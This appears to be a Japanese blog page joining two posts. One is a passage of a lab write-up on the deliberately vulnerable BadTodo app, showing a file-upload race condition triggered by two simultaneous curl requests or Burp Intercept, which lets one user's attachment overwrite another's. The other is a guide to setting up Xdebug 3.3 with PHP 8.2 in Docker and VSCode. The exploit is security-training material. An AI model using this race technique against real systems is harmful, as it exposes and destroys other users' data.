# curl --cookie "TODOSESSID=7afb65ad5ab2c8a1c00c4343f7261a0d" https://todo.example.jp/editdone.php -x http://host.docker.internal:8080/ -F todotoken=89cf61981938e3235a7b0c199e2cd7e8 -F item=4 -F todo=TestA -F c_date=2023-12-29 -F attachment=@/var/www/materials/a/test.txt -k & curl --cookie "TODOSESSID=c240286adc0891c0e2a82f54619d8b93" https://todo.example.jp/editdone.php -x http://host.docker.internal:8080/ -F todotoken=d9d2d93c78500173d6d71bd5a2fef27e -F item=5 -F todo=TestB -F c_date=2023-12-29 -F attachment=@/var/www/materials/b/test.txt -k

二つのPOSTリクエストが1秒未満の間隔で送受信されました。

ファイル名を確認すると6595a3e9-test.txtまったく同じになってしまっていることが分かります。

ファイルを右クリックし「新しいタブで開く」から中身を確認すると、testBユーザにtestAユーザの内容が表示されます。またtestBユーザの元のファイルが消えてしまったことも問題です。

BurpSuite の Intercept を使う方法

上の例ではcurlを使ってリクエストを送信しましたが、BurpSuiteの Intercept機能を使えばまとめて送信することができました。こちらの方が簡単です。

Todo編集画面を横に並べて「更新」ボタンをクリックする前に、BurpSuiteの Interceptを「ON」にしておきます。

その後で「更新」を双方のんびりクリック。

リクエストがBurpで止められているので「Intercept is on」ボタンを再度クリックして全部のリクエストを流します。

同じファイル名になりました。

今回のように1秒も猶予があるようなシステムはそうないのでは?と思っていたのですが

川崎市様における証明書誤交付ついて : 富士通Japan株式会社
本事象の原因は、2か所のコンビニで、2名の住民の方が同一タイミング(時間間隔1秒以内)で証明書の交付申請を行った

のような事例がありました。

他の部分にも幾つか存在するようですので引き続き探します。

次回:やられアプリ BadTodo - 28 キャッシュからの情報漏洩 - demandosigno

Debian 12 (bookworm) PHP8.2 Xdebug3.3

Xdebugの設置でつまづいたため、とりあえず最小限で試してみる。
(別Ver. Debian 10 (buster) PHP7.1 Xdebug2.9 - demandosigno

Xdebug: Documentation » Supported Versions and Compatibility

docker-compose.yml

version: '3'

services:
    php:
        image: php:8.2-apache
        volumes:
            - ./html:/var/www/html
        ports:
            - 8002:80
        container_name: php8.2

docker-compose up -d

# cat /etc/os-release 
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"

# php -v
PHP 8.2.13 (cli) (built: Dec 19 2023 14:12:13) (NTS)

# apt update && apt upgrade
# service apache2 status
apache2 is running.
# apt install vim
# vim phpinfo.php

# apt install php-xdebug
Package php-xdebug is a virtual package provided by:
  php8.2-xdebug 3.2.0+3.1.6+2.9.8+2.8.1+2.5.5-3 [Not candidate version]
E: Package 'php-xdebug' has no installation candidate

パッケージからはダメでした。PECLで。

# pecl install xdebug
downloading xdebug-3.3.1.tgz ...
Starting to download xdebug-3.3.1.tgz (258,953 bytes)

Build process completed successfully
Installing '/usr/local/lib/php/extensions/no-debug-non-zts-20220829/xdebug.so'
install ok: channel://pecl.php.net/xdebug-3.3.1
configuration option "php_ini" is not set to php.ini location
You should add "zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20220829/xdebug.so" to php.ini

Xdebug: Documentation » Installation
"Warning: You should ignore any prompts to add "extension=xdebug.so" to php.ini — this will cause problems."
警告: php.iniに "extension=xdebug.so "を追加するよう促されても無視すべきです。

PHPの設定

1. コマンドラインで php --ini を実行し、変更すべきPHPのiniファイルを見つける。

# php --ini
Configuration File (php.ini) Path: /usr/local/etc/php
Loaded Configuration File:         (none)
Scan for additional .ini files in: /usr/local/etc/php/conf.d
Additional .ini files parsed:      /usr/local/etc/php/conf.d/docker-php-ext-sodium.ini

もし、/etc/php/7.4/cli/conf.d/99-xdebug.ini のように xdebug を名前に含むファイルがあれば、このファイルを使用します。
このファイルが存在せず、conf.dや同様のディレクトリに他のファイルがある場合は、そこにも新しいファイルを作成できます。その場合、99-xdebug.iniと命名してください。
そうでない場合は、スクリプトまたはphp --iniコマンドで表示されるphp.iniファイルを修正してください。
php.iniファイルは1つだけではありません。多くのセットアップでは、コマンドライン用(多くの場合cli/php.ini)とウェブサーバー用(多くの場合fpm/php.ini)があります。

2. Add the following line to this PHP ini file:
zend_extension=xdebug

# cd /usr/local/etc/php/conf.d/
# vi 99-xdebug.ini
zend_extension=xdebug
[xdebug]
;xdebug.client_host = host.docker.internal // 自分の環境ではこれを記載するとVSCodeを立ち上げた時点でアプリに繋がらなくなった。この辺りの設定詳細がまだ理解できていません。
xdebug.mode=debug
xdebug.start_with_request = yes
xdebug.discover_client_host = 1
xdebug.client_port=9003

3. Restart your webserver, or PHP-FPM, depending on what you are using.

# php -v
PHP 8.2.13 (cli) (built: Dec 19 2023 14:12:13) (NTS)
    with Xdebug v3.3.1, Copyright (c) 2002-2023, by Derick Rethans

VSCode側の設定

VSCodeを立ち上げコンテナに繋ぐ。

VSCodeでLocalにインストールした拡張機能PHPdebugをクリックしてコンテナの方にもインストールする。

launch.jsonファイルを作成

{
    "version": "0.2.0",
    "configurations": [
        {
            "name": "Listen for Xdebug",
            "type": "php",
            "request": "launch",
            "port": 9003,
            "pathMappings": {
                "${workspaceRoot}/html": "${workspaceRoot}/html"
            }
        }
    ]
}

デバッグ実行してからブラウザを開き、ブレークポイントで止まるか確認。問題なさそう。 Xdebug: Documentation » Xdebug 2 から 3 へのアップグレード

/* -----codeの行番号----- */